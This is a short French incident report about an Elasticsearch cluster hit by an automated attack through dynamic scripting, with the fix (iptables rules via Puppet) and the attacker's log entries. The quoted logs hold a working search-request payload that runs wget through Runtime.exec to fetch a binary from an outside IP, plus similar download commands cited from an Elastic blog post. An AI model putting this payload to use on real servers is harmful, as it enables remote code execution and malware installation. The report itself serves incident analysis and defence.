Problème résolu :
Cause : Une attaque robotique sur nos serveurs qui n'étaient pas sécurisés.
D'après un article posté par elasticsearch :
https://www.elastic.co/blog/scripting-security/
Mesures prises : Nous avons ajouté des règles iptables à notre serveur de marionnettes pour appliquer tous nos serveurs elasticsearch.
Nous avons fait cette erreur et malheureusement nous en avons payé le prix. Nous sommes de retour et en cours d'exécution en ce moment.
Et bien d'après les logs, j'ai trouvé quelque chose de très suspect
[2015-04-30 05:05:59,808][DEBUG][action.search.type ] [Saint Anna] [_river][0], node[Oq7k-P26RoabKCjZ_YmlIw], [P], s[STARTED]: Failed to execute [[email protected]] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [_river][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
Je vais réduire la majeure partie :
exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\")
Il s'agit de la forme d'un piratage de robot, puisque nous n'avons personne nommé xiao ou que nous n'hébergeons pas nos serveurs en Chine (Selon GEO-IP), nous nous sommes doutés de cette ligne.
Selon l'article mentionné ci-dessus :
[Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../4.sh -O /tmp/.4.sh").getInputStream(): Cannot run program "wget": error=2, No such file or directory]
Caused by: java.io.IOException: Cannot run program "wget": error=2, No such file or directory
[Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../getsetup.hb").getInputStream(): Cannot run program "wget": error=2, No such file or directory]
After vulnerable systems have been exploited, the infected system is running code in the /boot/.iptables file as well as modified /etc/init.d scripts.
Le pirate a appliqué des requêtes désagréables qui ont empêché notre elasticsearch de fonctionner.
Nous avons redémarré nos serveurs et ajouté Iptables, et nous avons repris nos activités.